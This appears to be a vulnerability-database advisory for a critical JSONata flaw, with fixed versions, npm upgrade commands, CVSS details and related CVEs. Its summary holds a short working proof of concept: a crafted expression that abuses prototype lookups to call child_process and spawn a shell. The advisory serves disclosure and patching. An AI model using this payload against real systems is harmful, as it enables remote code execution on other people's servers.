CVE-2026-77413

CRITICAL

JSONata: Arbitrary Code Execution via crafted JSONata expressions

Published August 21, 2026Updated August 21, 2026Source: osv

Summary

## Impact Before JSONata `2.2.0` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a missing `hasOwnProperty` check in the `lookup` function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705 This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the `2.2.0` release, and ported in the `1.8.8` release. ## PoC ```js import jsonata from "jsonata"; const expression = jsonata(` ( __lookupSetter__('__proto__')(constructor); __defineGetter__('l', constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()")); valueOf().l ) `); await expression.evaluate({}); ```

Remediation

Upgrade to the fixed version using your package manager.

npm

Update jsonata to 2.2.0 or later

npm install jsonata@2.2.0

npm

Update jsonata to 1.8.8 or later

npm install jsonata@1.8.8

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (2)

Package	Ecosystem	Affected	Fixed In
jsonata	npm	All versions	2.2.0
jsonata	npm	All versions	1.8.8

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CWE-94
Code InjectionMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

—

Confidentiality

—

Integrity

—

Availability

—

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

Frequently Asked Questions

What is CVE-2026-77413?: JSONata: Arbitrary Code Execution via crafted JSONata expressions This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2026-77413?: CVE-2026-77413 affects jsonata. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-77413 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score

9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-8gq3-vp5j-2grp

Related CVEs

CVE-2026-55209
CRITICAL
resdata has Classic Buffer Overflow, Improper Validation of Array Index, NULL Pointer Dereference and Out-of-bounds Read
CVE-2026-77414
CRITICAL
JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions
CVE-2026-77415
CRITICAL
JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions
CVE-2024-27307
CRITICAL
JSONata expression can pollute the "Object" prototype
CVE-2026-76904
CRITICAL
GeoTools has unauthenticated SQL injection in the jsonArrayContains filter function against PostGIS layers
CVE-2026-54061
CRITICAL
Dgraph Alpha group stores can be replaced via unauthenticated external snapshot import
CVE-2026-55445
CRITICAL
Qinglong has an incomplete fix for CVE-2026-3965: Improper Authentication
CVE-2026-61539
CRITICAL
Xinference vulnerable to remote code execution via unsafe `eval()` in Llama3 tool-call parsing

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies